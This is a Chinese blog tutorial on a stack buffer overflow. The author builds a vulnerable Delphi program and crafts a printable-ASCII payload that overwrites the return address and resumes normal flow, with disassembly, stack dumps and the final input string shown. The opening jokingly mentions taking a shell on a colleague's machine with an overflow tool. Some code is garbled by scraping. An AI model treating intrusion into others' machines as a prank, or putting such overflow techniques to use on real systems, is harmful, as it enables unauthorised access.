前两天利用sqlhello溢出漏洞工具跟局域网里面同事开了个玩笑取得了他win2kshell
于是乎也想玩下溢出首先用Delphi写个有漏洞
如果不检查输入字串长度哪么输入字串长度大于变量预定范围就产生溢出了
procedure TForm1.Button1Click(Sender: TObject);
var name:.gif' />[0..255]of char;
begin
strcopy(name,PChar(Edit1.Text)); //Edit1内容是256+6个最后6个:Hello.
end;
整个过程代码:
0044F02C 55 PUSH EBP
0044F02D 8BEC MOV EBP,ESP
0044F02F 81C4 FCFEFFFF ADD ESP,-104
0044F035 53 PUSH EBX
0044F036 33C9 XOR ECX,ECX
0044F038 898D FCFEFFFF MOV DWORD PTR SS:[EBP-104],ECX
0044F03E 8BD8 MOV EBX,EAX
0044F040 33C0 XOR EAX,EAX
0044F042 55 PUSH EBP
0044F043 68 90F04400 PUSH Project1.0044F090
0044F048 64:FF30 PUSH DWORD PTR FS:[EAX]
0044F04B 64:8920 MOV DWORD PTR FS:[EAX],ESP
0044F04E 8D95 FCFEFFFF LEA EDX,DWORD PTR SS:[EBP-104]
0044F054 8B83 FC020000 MOV EAX,DWORD PTR DS:[EBX+2FC]
0044F05A E8 DDF3FDFF CALL Project1.0042E43C
0044F05F 8B85 FCFEFFFF MOV EAX,DWORD PTR SS:[EBP-104]
0044F065 E8 6652FBFF CALL Project1.004042D0
0044F06A 8BD0 MOV EDX,EAX
0044F06C 8D85 00FFFFFF LEA EAX,DWORD PTR SS:[EBP-100]
0044F072 E8 F590FBFF CALL Project1.0040816C strcopy将Edit1文本内容复制到局部变量name中Delphi局部变量就在栈中
0044F077 33C0 XOR EAX,EAX
0044F079 5A POP EDX
0044F07A 59 POP ECX
0044F07B 59 POP ECX
0044F07C 64:8910 MOV DWORD PTR FS:[EAX],EDX
0044F07F 68 97F04400 PUSH Project1.0044F097
0044F084 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104]
0044F08A E8 814DFBFF CALL Project1.00403E10
0044F08F C3 RETN
0044F090 ^ E9 7F47FBFF JMP Project1.00403814
0044F095 ^ EB ED JMP SHORT Project1.0044F084
0044F097 5B POP EBX
0044F098 8BE5 MOV ESP,EBP
0044F09A 5D POP EBP
0044F09B C3 RETN 过程最后返回点
执行call 40816c(strcopy)的后
正常栈内容:
0012F538 0012F97C Poer to next SEH record
0012F53C 0044F090 SE handler
0012F540 0012F64C
0012F544 00953788
0012F548 00000000
0012F54C 00000000
//...
0012F63C |0000002D
0012F640 |00000002
0012F644 |00403277 RETURN to Project1.00403277 from Project1.004032EC
0012F648 |004280B4 Project1.004280B4
0012F64C ]0012F78C
0012F650 |0042F9D6 RETURN to Project1.0042F9D6 这里是正常出口
溢出后:
0012F538 0012F97C Poer to next SEH record
0012F53C 0044F090 SE handler
0012F540 0012F64C ASCII "Hello." 溢出了6字节
0012F544 00953788
0012F548 00952594 ASCII "111111111122222222223333333333444444444455555555556666666666777777777788888888889999999999000000000011111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444"...
0012F54C 31313131 字串开始
//...
0012F63C 35353535
0012F640 35353535
0012F644 36363535
0012F648 36363636
0012F64C 6C6C6548
0012F650 00002E6F 溢出内容已经覆盖了返回地址将会返回到2e6f
好了现在我们只要把12f650内容变成12f54c就会返回到我们输入
串然后执行我们只要精心构造个串放到Edit1中串就成为我们
代码了输入串要做工作只是恢复正常流程工作很简单有256
个字节空间足够了
主要代码:
BD 8CF71230 MOV EBP,3012F78C 代码中不能有00strcopy会认为是00串结束就不能形成溢出了
C1E5 08 SHL EBP,8 用变通思路方法生成0012f78c的类地址另外f7,c3的类数据在复制成ASCII
C1ED 08 SHR EBP,8 时会变成?也要用变通思路方法处理下
B8 D6F94230 MOV EAX,3042F9D6
C1E0 08 SHL EAX,8
C1E8 08 SHR EAX,8
50 PUSH EAX
C3 RETN
经过番测试的后代码就可以写出来了
再加上结尾内容12f54c(让返回到我们溢出代码)可是4cf512不能正常复制出ASCII出来
只好另想办法了实验下12f59d(9df512)就能正常复制出ASCII哪么我们在12f59d位置上再放几行
代码转到12f54c就OK了(当然也可以直接在12f59d恢复EBP和返回流程个人喜好)
0012F54C 8040 32 80 ADD BYTE PTR DS:[EAX+32],80 变通处理mov ebp,3012f78c中f7执行到这里时EAX=12f548
0012F550 8040 47 60 ADD BYTE PTR DS:[EAX+47],60 变通处理retn
0012F554 41 INC ECX 相当于NOPASCII 'A'
0012F555 41 INC ECX
0012F556 41 INC ECX
0012F557 41 INC ECX
0012F558 41 INC ECX
0012F559 41 INC ECX
0012F55A 41 INC ECX
0012F55B 41 INC ECX
0012F55C 41 INC ECX
0012F55D 41 INC ECX
0012F55E 41 INC ECX
0012F55F 41 INC ECX
0012F560 41 INC ECX
0012F561 41 INC ECX
0012F562 41 INC ECX
0012F563 41 INC ECX
0012F564 41 INC ECX
0012F565 41 INC ECX
0012F566 41 INC ECX
0012F567 41 INC ECX
0012F568 41 INC ECX
0012F569 41 INC ECX
0012F56A 41 INC ECX
0012F56B 41 INC ECX
0012F56C 41 INC ECX
0012F56D 41 INC ECX
0012F56E 41 INC ECX
0012F56F 41 INC ECX
0012F570 41 INC ECX
0012F571 41 INC ECX
0012F572 41 INC ECX
0012F573 41 INC ECX
0012F574 41 INC ECX
0012F575 41 INC ECX
0012F576 41 INC ECX
0012F577 41 INC ECX
0012F578 BD 8C771230 MOV EBP,3012778C 77将被改成f7
0012F57D C1E5 08 SHL EBP,8
0012F580 C1ED 08 SHR EBP,8 mov ebp,12f78c 恢复ebp
0012F583 B8 D6F94230 MOV EAX,3042F9D6
0012F588 C1E0 08 SHL EAX,8
0012F58B C1E8 08 SHR EAX,8
0012F58E 50 PUSH EAX 让返回到42f9d6
0012F58F 6337 ARPL WORD PTR DS:[EDI],SI 这里将被上面代码改成retn
0012F591 41 INC ECX
0012F592 41 INC ECX
0012F593 41 INC ECX
0012F594 41 INC ECX
0012F595 41 INC ECX
0012F596 41 INC ECX
0012F597 41 INC ECX
0012F598 41 INC ECX
0012F599 41 INC ECX
0012F59A 41 INC ECX
0012F59B 41 INC ECX
0012F59C 41 INC ECX
0012F59D 8040 62 80 ADD BYTE PTR DS:[EAX+62],80 溢出代码入口先恢复下面指令
0012F5A1 66:8140 6B A080 ADD WORD PTR DS:[EAX+6B],80A0
0012F5A7 41 INC ECX
0012F5A8 B9 4C751230 MOV ECX,3012754C mov ecx,3012f54c
0012F5AD C1E1 08 SHL ECX,8
0012F5B0 C1E9 08 SHR ECX,8 ecx=12f54c
0012F5B3 5F POP EDI 恢复后:jmp ecx
0012F5B4 61 POPAD
2进制值(方便我测试用)
80 40 32 80 80 40 47 60 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 C1 E0 08 C1
E8 08 50 63 37 41 41 41 41 41 41 41 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 B9 4C 75 12
30 C1 E1 08 C1 E9 08 5F 61
ASCII码
0012F548 80 40 32 80 80 40 47 60 41 41 41 41 €@2€€@G`AAAA
0012F558 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012F568 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0012F578 BD 8C 77 12 30 C1 E5 08 C1 ED 08 B8 D6 F9 42 30 綄w0铃另钢鵅0
0012F588 C1 E0 08 C1 E8 08 50 63 37 41 41 41 41 41 41 41 拎凌Pc7AAAAAAA
0012F598 41 41 41 41 41 80 40 62 80 66 81 40 6B A0 80 41 AAAAA€@b€f丂k爛A
0012F5A8 B9 4C 75 12 30 C1 E1 08 C1 E9 08 5F 61 筁u0玲灵_a
好了我们要输入串出来了(105+151+4+3):
€@2€€@G`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA綄w0铃另钢鵅0拎凌Pc7AAAAAAAAAAAA€@b€f丂k爛A筁u0玲灵_a11111111112222222222333333333344444444445555555555666666666677777777778888888888999999999900000000001111111111222222222233333333334444444444555555555566666濙
把这个长度为263个串复制到Edit1中按下按钮没有弹出出错框
我们成功进行了次溢出的旅:)
后记:只是在Edit1中输入字串只能用可以显示出来字串所以整个
过程复杂了许多而在真正溢出漏洞通常都是直接向某个或进程发送数据
产生溢出只需考虑串中没有00就可以方便直接很多这篇贴子只能算是用来
介绍溢出机制(这种是栈溢出还有几种溢出类型网上介绍很多)执行了
我们代码都是简简单单要做到溢出后取得shell等等工作还不是我这菜鸟可
以
最新评论